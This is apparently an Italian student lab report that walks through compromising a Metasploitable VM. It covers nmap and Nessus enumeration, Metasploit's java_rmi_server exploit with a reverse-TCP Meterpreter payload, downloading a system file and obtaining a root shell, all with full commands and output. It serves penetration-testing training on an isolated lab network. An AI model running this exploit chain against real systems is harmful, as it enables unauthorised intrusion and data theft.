

Progetto week 7

Prepariamo le macchine impostando gli IP richiesti:

Kali Linux: 192.168.99.111

Metasploitable: 192.168.99.112

Controlliamo che funzioni il collegamento tra le macchine in rete interna tramite ping.

```
(kali@kali)-[~/Desktop]
$ ping 192.168.99.112
PING 192.168.99.112 (192.168.99.112) 56(84) bytes of data.
64 bytes from 192.168.99.112: icmp_seq=1 ttl=64 time=0.478 ms
64 bytes from 192.168.99.112: icmp_seq=2 ttl=64 time=0.248 ms
64 bytes from 192.168.99.112: icmp_seq=3 ttl=64 time=0.246 ms
^C
— 192.168.99.112 ping statistics —
3 packets transmitted, 3 received, 0% packet loss, time 2022ms
rtt min/avg/max/mdev = 0.246/0.324/0.478/0.108 ms
```

Enumerazione dei servizi

Iniziamo con una serie di scansioni con **nmap** sull'IP della macchina target, con **-O** possiamo identificare da remoto il **Sistema Operativo** attraverso il fingerprint dello stack TCP/IP. Proseguiamo con una scansione tcp con **-sT**, una scansione che analizza tutto il processo del **3 Way Hand-Shake** e infine con una scansione **-sV** in cui vedremo oltre i Service attivi nelle porte aperte anche la Version

```
(kali@kali)-[~/Desktop]
$ sudo nmap -O 192.168.99.112
[sudo] password for kali:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-16 06:07 EDT
Nmap scan report for 192.168.99.112
Host is up (0.00048s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 08:00:27:86:18:45 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https:
Nmap done: 1 IP address (1 host up) scanned in 14.98 seconds
```

scansione tcp

```
(kali@kali)-[~/Desktop]
$ nmap -sT 192.168.99.112
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 192.168.99.112
Host is up (0.00033s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown

Nmap done: 1 IP address (1 host up) scanned in 66.39 seconds
```

Version detection

```
(kali@kali)-[~/Desktop]
$ nmap -sV 192.168.99.112
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-16 06:22 EDT
Nmap scan report for 192.168.99.112
Host is up (0.0011s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1

Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN
; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.39 seconds
```

Dalle scansioni con nmap possiamo individuare diverse informazioni.

Con la scansione **-O** eseguiamo la Os. fingerprinter che ci mostra la **CPE (Common Platform Enumeration)** per il rilevamento del servizio e del sistema operativo su quel target, quindi un Linux 2.6, nel dettaglio una versione compresa tra 2.6.9 e 2.6.33 e che la macchina target è montata su **Oracle VirtualBox Virtual NIC**.

Con la Version Detection abbiamo innanzitutto una nuova colonna VERSION del SERVER, ma anche informazioni sull'**Hosts**, in questo

Vulnerability Scanner

Avviamo una scansione su Nessus, tra le varie criticità troviamo questa relativa al **RMI Registry Detection** sulla **porta 1099** che, come abbiamo evidenziato in precedenza, è relativa al servizio **java-rmi**. L'host remoto esegue un registro RMI, che funge da servizio di denominazione bootstrap per la registrazione e il recupero di oggetti remoti con nomi semplici nel sistema Java Remote Method Invocation (RMI)."

Vulnerabilities 59

INFO

RMI Registry Detection

< >

Plugin Details

Description

The remote host is running an RMI registry, which acts as a bootstrap naming service for registering and retrieving remote objects with simple names in the Java Remote Method Invocation (RMI) system.

See Also

<https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/spec/rmiTOC.html>
<http://www.nessus.org/u?b6fd7659>

Severity: Info

ID: 22227

Version: 1.22

Type: remote

Family: Service detection

Published: August 16, 2006

Modified: June 1, 2022

Output

Valid response recieved for port 1099:

```

0x00:  51 AC ED 00 05 77 0F 01 4F 13 5F BA 00 00 01 88      Q....w..O._.....
0x10:  C3 11 79 46 80 02 75 72 00 13 5B 4C 6A 61 76 61      ..yF..ur..[Ljava
0x20:  2E 6C 61 6E 67 2E 53 74 72 69 6E 67 3B AD D2 56      .lang.String;..V
0x30:  E7 E9 1D 7B 47 02 00 00 70 78 70 00 00 00 00      ...iG...pxp....

```

To see debug logs, please visit individual host

Port ▲	Hosts
1099 / tcp / rmi_regist...	192.168.99.112

Risk Information

Risk Factor: None

Vulnerability Information

CPE: cpe:/a:oracle:java_se

Asset Inventory: True

No output recorded.

To see debug logs, please visit individual host

Port ▲	Hosts
1099 / tcp / rmi_regist...	192.168.99.112

ULTERIORI CONTROLLI SULLA PORTA SPECIFICA

Possiamo usare **nmap** anche per una scansione mirata sulla singola porta per verificarne la vulnerabilità, ma anche **netcat** (dove **-v** sta per verbose in modo da ottenere informazioni aggiuntive) e **telnet** ci dicono che la porta è aperta.

```

(kali㉿kali)-[~]
└─$ nmap --script rmi-vuln-classloader -p 1099 192.168.99.112
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-16 10:36 EDT
Nmap scan report for 192.168.99.112
Host is up (0.00058s latency).

```

PORT	STATE	SERVICE
1099/tcp	open	rmiregistry

```

|_ rmi-vuln-classloader:
|_   VULNERABLE:
|_     RMI registry default configuration remote code execution vulnerability
|_     State: VULNERABLE
|_       Default configuration of RMI registry allows loading classes from remote URLs which can lead to remot
e code execution.
|_     References:
|_       https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_serve
r.rb

```

```

(kali㉿kali)-[~]
└─$ nc -v 192.168.99.112 1099
192.168.99.112: inverse host lookup failed: Host name lookup failure
(UNKNOWN) [192.168.99.112] 1099 (rmiregistry) open

```

```

(kali㉿kali)-[~]
└─$ telnet 192.168.99.112 1099
Trying 192.168.99.112 ...
Connected to 192.168.99.112.
Escape character is '^]'.

```


EXPLOITE

Eseguiamo la procedura per ottenere una sessione remota di meterpreter. Avviamo **msfconsole**, cerchiamo il modulo che ci interessa con **search java_rmi** e tramite il comando **use** seguito dal path andiamo ad usare **l'exploit/multi/misc/java_rmi_server** che in descrizione contiene Default Configuration Java Code Execution. **ATTENZIONE** di default viene già configurato il payload **meterpreter**.

[illegible]

```
msf6 > search java_rmi
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/gather/java_rmi_registry		normal	No	Java RMI Registry Inte
1	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecu
2	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecu
3	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMIConnectionImpl

```

Deserialization Privilege Escalation

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp

```

Andiamo a controllare le opzioni, notiamo che nel settaggio manca il dato relativo all'RHOST, cioè l'IP della macchina target, con il comando **set RHOST** seguito dall'IP lo andiamo a modificare, mentre l'LHOST, cioè il Local Host è già settato correttamente.

```

msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  --      -
  HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
  RHOSTS    0.0.0.0          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     1099             yes       The target port (TCP)
  SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080             yes       The local port to listen on.
  SSL       false            no        Negotiate SSL for incoming connections
  SSLCert   0                no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH   0                no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.99.111  yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Generic (Java Payload)

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.99.112
RHOSTS => 192.168.99.112

```

Per sicurezza controlliamo di nuovo le opzioni dopo la modifica, appurato che la modifica è stata salvata lanciamo l'attacco con il comando **exploit**.

```

msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  --      -
  HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
  RHOSTS    192.168.99.112  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     1099             yes       The target port (TCP)
  SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080             yes       The local port to listen on.
  SSL       false            no        Negotiate SSL for incoming connections
  SSLCert   0                no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH   0                no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.99.111  yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

```

```

LPORT 4444 yes The listen port
Exploit target:
  Id  Name
  --  --
  0   Generic (Java Payload)

View the full module info with the info, or info -d command.
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.99.111:4444
[*] 192.168.99.112:1099 - Using URL: http://192.168.99.111:8080/q3EfmDdaBbJv
[*] 192.168.99.112:1099 - Server started.
[*] 192.168.99.112:1099 - Sending RMI Header ...
[*] 192.168.99.112:1099 - Sending RMI Call ...
[*] 192.168.99.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.99.112
[*] Meterpreter session 1 opened (192.168.99.111:4444 → 192.168.99.112:54116) at 2023-06-16 08:48:49 -0400

meterpreter >

```

Testiamo meterpreter usando dei semplici comandi per ottenere delle informazioni sulla configurazione di rete (**ifconfig** e **sysinfo**) e sulla di routing, volendo possiamo aprire nel visualizzare il contenuto del file dell'interfaccia di rete ma anche scaricarlo sulla nostra macchina.

```

meterpreter > ifconfig

Interface 1
-----
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
-----
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.99.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe86:1845
IPv6 Netmask : ::

```

```

meterpreter > sysinfo

Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux

```

```

meterpreter > route

IPv4 network routes
-----
Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1    255.0.0.0     0.0.0.0      0            lo
192.168.99.112 255.255.255.0 0.0.0.0      0            eth0

IPv6 network routes
-----
Subnet      Netmask      Gateway      Metric      Interface
-----
::1         ::           ::           0            lo
fe80::a00:27ff:fe86:1845 ::           ::           0            eth0

```



```

meterpreter > 
meterpreter > pwd
/
meterpreter > cat /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.99.112
netmask 255.255.255.0
network 192.168.99.0
broadcast 192.168.99.255
gateway 192.168.99.100
meterpreter > download /etc/network/interfaces
[*] Downloading: /etc/network/interfaces → /home/kali/interfaces
[*] Downloaded 384.00 B of 384.00 B (100.0%): /etc/network/interfaces → /home/kali/interfaces
[*] Completed : /etc/network/interfaces → /home/kali/interfaces
meterpreter > 

```

Continuiamo a testare i comandi che possiamo dare alla macchina target, innanzitutto con il comando help, e poi controlliamo se possiamo capire in che directory siamo, spostarci tra esse, creare file o cartelle

```

meterpreter > pwd
/
meterpreter > ls
Listing: /

```

Mode	Size	Type	Last modified	Name
040666/rw-rw-rw-	4096	dir	2012-05-13 23:35:33 -0400	bin
040666/rw-rw-rw-	1024	dir	2012-05-13 23:36:28 -0400	boot
040666/rw-rw-rw-	4096	dir	2010-03-16 18:55:51 -0400	cdrom
040666/rw-rw-rw-	13540	dir	2023-06-16 02:59:44 -0400	dev
040666/rw-rw-rw-	4096	dir	2023-06-16 02:59:49 -0400	etc
040666/rw-rw-rw-	4096	dir	2010-04-16 02:16:02 -0400	home
040666/rw-rw-rw-	4096	dir	2010-03-16 18:57:40 -0400	initrd
100666/rw-rw-rw-	7929183	fil	2012-05-13 23:35:56 -0400	initrd.img
040666/rw-rw-rw-	4096	dir	2012-05-13 23:35:22 -0400	lib
040666/rw-rw-rw-	16384	dir	2010-03-16 18:55:15 -0400	lost+found
040666/rw-rw-rw-	4096	dir	2010-03-16 18:55:52 -0400	media
040666/rw-rw-rw-	4096	dir	2010-04-28 16:16:56 -0400	mnt
100666/rw-rw-rw-	14473	fil	2023-06-16 03:00:10 -0400	nohup.out
040666/rw-rw-rw-	4096	dir	2010-03-16 18:57:39 -0400	opt
040666/rw-rw-rw-	0	dir	2023-06-16 02:59:29 -0400	proc
040666/rw-rw-rw-	4096	dir	2023-06-16 03:00:10 -0400	root
040666/rw-rw-rw-	4096	dir	2012-05-13 21:54:53 -0400	sbin
040666/rw-rw-rw-	4096	dir	2010-03-16 18:57:38 -0400	srv
040666/rw-rw-rw-	0	dir	2023-06-16 02:59:30 -0400	sys
040666/rw-rw-rw-	4096	dir	2023-06-12 06:01:57 -0400	test_metasploit
040666/rw-rw-rw-	4096	dir	2023-06-16 09:08:45 -0400	tmp
040666/rw-rw-rw-	4096	dir	2010-04-28 00:06:37 -0400	usr
040666/rw-rw-rw-	4096	dir	2010-03-17 10:08:23 -0400	var
100666/rw-rw-rw-	1987288	fil	2008-04-10 12:55:41 -0400	vmlinuz

```

meterpreter > 

```

Scopriamo che possiamo spostarci in alcune directory, andiamo in home e creiamo una nuova cartella chiamata prova, ma non è possibile creare un file di testo

```

meterpreter > cd home
meterpreter > pwd
/home
meterpreter > ls
Listing: /home

```

Mode	Size	Type	Last modified	Name
040666/rw-rw-rw-	4096	dir	2010-03-17 10:08:02 -0400	ftp
040666/rw-rw-rw-	4096	dir	2023-06-06 06:25:02 -0400	msfadmin

```
040666/rw-rw-rw- 4096 dir 2010-04-16 02:16:02 -0400 service
040666/rw-rw-rw- 4096 dir 2010-05-07 14:38:06 -0400 user

meterpreter > mkdir prova
Creating directory: prova
```

```
meterpreter > ls
Listing: /home

Mode                Size      Type    Last modified          Name
-----
040666/rw-rw-rw- 4096    dir    2010-03-17 10:08:02 -0400 ftp
040666/rw-rw-rw- 4096    dir    2023-06-06 06:25:02 -0400 msfadmin
040666/rw-rw-rw- 4096    dir    2023-06-16 09:11:52 -0400 prova
040666/rw-rw-rw- 4096    dir    2010-04-16 02:16:02 -0400 service
040666/rw-rw-rw- 4096    dir    2010-05-07 14:38:06 -0400 user

meterpreter > cd prova
meterpreter > touch fileprova.txt
[-] Unknown command: touch
meterpreter > ls
No entries exist in /home/prova
meterpreter > nano fileprova.txt
[-] Unknown command: nano
```

Notiamo come alcuni comandi non vengano riconosciuti, andiamo quindi a creare una **shell**, riproviamo con gli stessi comandi che adesso possiamo effettuare perché abbiamo acquisito i **permessi di root** e quindi potremmo potenzialmente agire con più libertà.

```
meterpreter > uname -a
[-] Unknown command: uname
meterpreter > whoami
[-] Unknown command: whoami
meterpreter > shell
Process 2 created.
Channel 2 created.
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
whoami
root
id
uid=0(root) gid=0(root)
```